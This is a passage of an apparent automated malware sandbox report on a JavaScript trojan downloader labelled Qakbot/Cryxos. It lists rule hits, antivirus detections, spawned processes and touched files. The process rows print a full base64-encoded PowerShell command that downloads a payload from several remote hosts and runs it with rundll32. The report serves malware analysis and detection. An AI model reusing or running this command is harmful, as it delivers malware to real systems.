EARwBjAEEAYQBRAEIAaQBBAEcAdwBBAFoAUQBBAHUAQQBIAFUAQQBiAGcAQgBtAEEASABJAEEAWgBRAEIAbABBAEcAawBBAGIAZwBCAG4AQQBHAHcAQQBlAFEAQgBOAEEARwBFAEEAZABBAEIAaABBAEcATQBBAGIAdwBBAHMAQQBHAEkAQQBhAFEAQgB1AEEARwBRAEEATwB3AEIAMQBBAEUASQBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQQA3AEEAQQA9AD0AIgA7ACQAcwBtAG8AbwBjAGgAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAZwBCAGgAQQBHAFUAQQBiAGcAQgBoAEEAQwA0AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCADMAQQBHAEUAQQBjAGcAQgBsAEEAQQA9AD0AIgA7ACQAcwBwAGwAZQBuAG8AdABvAG0AeQBJAG4AdAByAGEAZABpAHMAdAByAGkAYwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAGcAQQB3AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AZwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA==" |
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| MicroWorld-eScan | JS:Trojan.Cryxos.12541 |
| FireEye | JS:Trojan.Cryxos.12541 |
| ALYac | JS:Trojan.Cryxos.12541 |
| Arcabit | JS:Trojan.Cryxos.D30FD |
| Symantec | Scr.Malcode!gen53 |
| ESET-NOD32 | JS/Agent.QTW |
| Avast | Other:Malware-gen [Trj] |
| Kaspersky | HEUR:Trojan.Script.Qbot.gen |
| BitDefender | JS:Trojan.Cryxos.12541 |
| Emsisoft | JS:Trojan.Cryxos.12541 (B) |
| VIPRE | JS:Trojan.Cryxos.12541 |
| MAX | malware (ai score=85) |
| Microsoft | Trojan:JS/Qakbot.SM!MTB |
| GData | JS:Trojan.Cryxos.12541 |
| Detected | |
| Ikarus | Trojan-Downloader.JS.Agent |
| Fortinet | JS/Agent.QAK!tr |
| AVG | Other:Malware-gen [Trj] |
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "dAByAHkAIAB7AHIAbQAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABkAGkAdgBlAHIAcwBpAHQAeQBDAG8AdQByAHQAYgB5AC4AagBzADsAfQAgAGMAYQB0AGMAaAAgAHsAfQAkAG0AZQB0AGgAbwBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBAEwAdwBCAGEAQQBHAE0AQQBTAEEAQgByAEEAQwA4AEEAYQBBAEIAWgBBAEcAawBBAGUAUQBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIASQBBAEMAOABBAFIAQQBBAHkAQQBHAEUAQQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQARQBBAEwAZwBBAHkAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE8AQQBBADEAQQBDADgAQQBUAHcAQgBzAEEAQwA4AEEAUQB3AEEAdwBBAEYAQQBBAFAAdAB0AFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBRAEEAdQBBAEQASQBBAE0AUQBBADIAQQBDADQAQQBOAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAawBBAEwAdwBCAFkAQQBFAFUAQQBMAHcAQgBaAEEAQQA9AD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATAB3AEIAdABBAEYARQBBAGMAQQBCAFgAQQBFAEUAQQBPAEEAQgB1AEEAQwA4AEEAYQB3AEIANABBAEgAawBBAGEAZwBBADEAQQBBAD0APQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAGcAQQB2AEEARgBRAEEATQB3AEIAeABBAEcANABBAFIAQQBBAHYAQQBGAEEAQQBXAEEAQgBPAEEASABVAEEAVwBRAEIAQgBBAEYAQQBBAFUAZwBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQAzAEEARABJAEEATAB3AEIAWABBAEQAVQBBAFQAdwBBAHYAQQBGAFEAQQBRAGcAQQA1AEEARwAwAEEAYQB3AEIATABBAEcAVQBBAE4AQQBCAFIAQQBIAG8AQQBkAFEAQQA9ACIAOwAkAE4AZQBwAGgAcgBvAHQAbwBtAGUAUwB1AGIAdQByAGIAYQBuAGkAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATwBBAEEAMwBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAAgAGkAbgAgACQAbQBlAHQAaABvAGQAIAAtAHMAcABsAGkAdAAgACIAUAB0AHQAWAAiACkAIAB7AHQAcgB5ACAAewAkAG0AdQBsAHQAaQBwAGEAcgBvAHUAcwBWAG8AbABhAHQAaQBsAGkAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHUAQQBEAGMAQQBOAFEAQQA9AGgAbABFAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGEAUQBCAHoAQQBIAE0AQQBZAFEAQgB1AEEASABRAEEAUgBRAEIANABBAEcAOABBAFkAdwBCAHYAQQBHADQAQQBaAFEAQQB1AEEASABRAEEAZAB3AEEAPQAiADsAJABoAGUAbQBpAGMAaQByAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAGsAQQBHAFEAQQBiAHcAQgBqAEEARwBzAEEAYwB3AEIAQwBBAEgAVQBBAGIAZwBCAGsAQQBHAFUAQQBjAHcAQgAwAEEARwBFAEEAWgB3AEEAdQBBAEcAUQBBAFoAUQBCAHoAQQBHAGsAQQAiADsAJABzAHQAcgBhAHUAYwBoAHQAZQBuAEEAdQBsAGQAZgBhAHIAcgBhAG4AdABsAGkAawBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBRAEEAdQBBAEQASQBBAE4AQQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAFkAcwB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAawBBAGMAdwBCAHcAQQBHADgAQQBiAGcAQgBsAEEARgBRAEEAYgB3AEIAdQBBAEgATQBBAGIAdwBCAHkAQQBHAGsAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAcwBBAEcAawBBAGIAZwBCAHAAQQBHAE0AQQAiADsAJABtAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AYQBuAG4AaQBzAGgAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwA7ACQAZABpAHMAZQBhAHMAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgBoAEEARwB3AEEAYgBBAEIAcABBAEcAVQBBAFoAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA3ADQAMAAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgBsAEEARwBjAEEAYQBRAEIAaQBBAEcAdwBBAFoAUQBBAHUAQQBIAFUAQQBiAGcAQgBtAEEASABJAEEAWgBRAEIAbABBAEcAawBBAGIAZwBCAG4AQQBHAHcAQQBlAFEAQgBOAEEARwBFAEEAZABBAEIAaABBAEcATQBBAGIAdwBBAHMAQQBHAEkAQQBhAFEAQgB1AEEARwBRAEEATwB3AEIAMQBBAEUASQBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQQA3AEEAQQA9AD0AIgA7ACQAcwBtAG8AbwBjAGgAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAZwBCAGgAQQBHAFUAQQBiAGcAQgBoAEEAQwA0AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCADMAQQBHAEUAQQBjAGcAQgBsAEEAQQA9AD0AIgA7ACQAcwBwAGwAZQBuAG8AdABvAG0AeQBJAG4AdAByAGEAZABpAHMAdAByAGkAYwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAGcAQQB3AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AZwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA==" | ||||||
| parent_process | wscript.exe | martian_process | powershell -encodedcommand "dAByAHkAIAB7AHIAbQAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABkAGkAdgBlAHIAcwBpAHQAeQBDAG8AdQByAHQAYgB5AC4AagBzADsAfQAgAGMAYQB0AGMAaAAgAHsAfQAkAG0AZQB0AGgAbwBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBAEwAdwBCAGEAQQBHAE0AQQBTAEEAQgByAEEAQwA4AEEAYQBBAEIAWgBBAEcAawBBAGUAUQBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIASQBBAEMAOABBAFIAQQBBAHkAQQBHAEUAQQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQARQBBAEwAZwBBAHkAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE8AQQBBADEAQQBDADgAQQBUAHcAQgBzAEEAQwA4AEEAUQB3AEEAdwBBAEYAQQBBAFAAdAB0AFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBRAEEAdQBBAEQASQBBAE0AUQBBADIAQQBDADQAQQBOAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAawBBAEwAdwBCAFkAQQBFAFUAQQBMAHcAQgBaAEEAQQA9AD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATAB3AEIAdABBAEYARQBBAGMAQQBCAFgAQQBFAEUAQQBPAEEAQgB1AEEAQwA4AEEAYQB3AEIANABBAEgAawBBAGEAZwBBADEAQQBBAD0APQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAGcAQQB2AEEARgBRAEEATQB3AEIAeABBAEcANABBAFIAQQBBAHYAQQBGAEEAQQBXAEEAQgBPAEEASABVAEEAVwBRAEIAQgBBAEYAQQBBAFUAZwBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQAzAEEARABJAEEATAB3AEIAWABBAEQAVQBBAFQAdwBBAHYAQQBGAFEAQQBRAGcAQQA1AEEARwAwAEEAYQB3AEIATABBAEcAVQBBAE4AQQBCAFIAQQBIAG8AQQBkAFEAQQA9ACIAOwAkAE4AZQBwAGgAcgBvAHQAbwBtAGUAUwB1AGIAdQByAGIAYQBuAGkAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATwBBAEEAMwBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAAgAGkAbgAgACQAbQBlAHQAaABvAGQAIAAtAHMAcABsAGkAdAAgACIAUAB0AHQAWAAiACkAIAB7AHQAcgB5ACAAewAkAG0AdQBsAHQAaQBwAGEAcgBvAHUAcwBWAG8AbABhAHQAaQBsAGkAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHUAQQBEAGMAQQBOAFEAQQA9AGgAbABFAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGEAUQBCAHoAQQBIAE0AQQBZAFEAQgB1AEEASABRAEEAUgBRAEIANABBAEcAOABBAFkAdwBCAHYAQQBHADQAQQBaAFEAQQB1AEEASABRAEEAZAB3AEEAPQAiADsAJABoAGUAbQBpAGMAaQByAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAGsAQQBHAFEAQQBiAHcAQgBqAEEARwBzAEEAYwB3AEIAQwBBAEgAVQBBAGIAZwBCAGsAQQBHAFUAQQBjAHcAQgAwAEEARwBFAEEAWgB3AEEAdQBBAEcAUQBBAFoAUQBCAHoAQQBHAGsAQQAiADsAJABzAHQAcgBhAHUAYwBoAHQAZQBuAEEAdQBsAGQAZgBhAHIAcgBhAG4AdABsAGkAawBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBRAEEAdQBBAEQASQBBAE4AQQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAFkAcwB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAawBBAGMAdwBCAHcAQQBHADgAQQBiAGcAQgBsAEEARgBRAEEAYgB3AEIAdQBBAEgATQBBAGIAdwBCAHkAQQBHAGsAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAcwBBAEcAawBBAGIAZwBCAHAAQQBHAE0AQQAiADsAJABtAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AYQBuAG4AaQBzAGgAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwA7ACQAZABpAHMAZQBhAHMAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgBoAEEARwB3AEEAYgBBAEIAcABBAEcAVQBBAFoAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA3ADQAMAAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgBsAEEARwBjAEEAYQBRAEIAaQBBAEcAdwBBAFoAUQBBAHUAQQBIAFUAQQBiAGcAQgBtAEEASABJAEEAWgBRAEIAbABBAEcAawBBAGIAZwBCAG4AQQBHAHcAQQBlAFEAQgBOAEEARwBFAEEAZABBAEIAaABBAEcATQBBAGIAdwBBAHMAQQBHAEkAQQBhAFEAQgB1AEEARwBRAEEATwB3AEIAMQBBAEUASQBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQQA3AEEAQQA9AD0AIgA7ACQAcwBtAG8AbwBjAGgAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAZwBCAGgAQQBHAFUAQQBiAGcAQgBoAEEAQwA0AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCADMAQQBHAEUAQQBjAGcAQgBsAEEAQQA9AD0AIgA7ACQAcwBwAGwAZQBuAG8AdABvAG0AeQBJAG4AdAByAGEAZABpAHMAdAByAGkAYwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAGcAQQB3AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AZwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA==" | ||||||
| parent_process | wscript.exe | martian_process | wscript "C:\ProgramData\diversityCourtby.js" isohelNoncumulatively Blackmailers storified thyrotomy | ||||||
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\wscript.exe" "C:\ProgramData\diversityCourtby.js" isohelNoncumulatively Blackmailers storified thyrotomy | ||||||
| file | C:\Windows\SysWOW64\wscript.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |